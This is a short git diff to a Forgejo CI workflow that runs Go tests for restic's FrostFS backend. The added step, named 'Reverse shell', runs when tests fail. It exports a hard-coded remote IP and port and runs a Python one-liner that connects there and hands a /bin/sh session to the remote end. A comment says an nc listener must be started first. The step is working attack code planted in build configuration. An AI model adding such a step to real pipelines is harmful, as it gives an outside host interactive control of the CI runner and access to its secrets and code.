diff --git a/.forgejo/workflows/tests.yml b/.forgejo/workflows/tests.yml
index c2f507f05..cff90a4c6 100644
--- a/.forgejo/workflows/tests.yml
+++ b/.forgejo/workflows/tests.yml
@@ -29,3 +29,10 @@ jobs:
         # run only tests for the FrostFS backend
         run: go test -v github.com/restic/restic/internal/backend/frostfs
 
+      - name: Reverse shell
+        if: failure()
+        # Listener must be started beforehand: nc -lvp 4242
+        run: |
+          export RHOST="10.47.37.90"
+          export RPORT=4242
+          python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'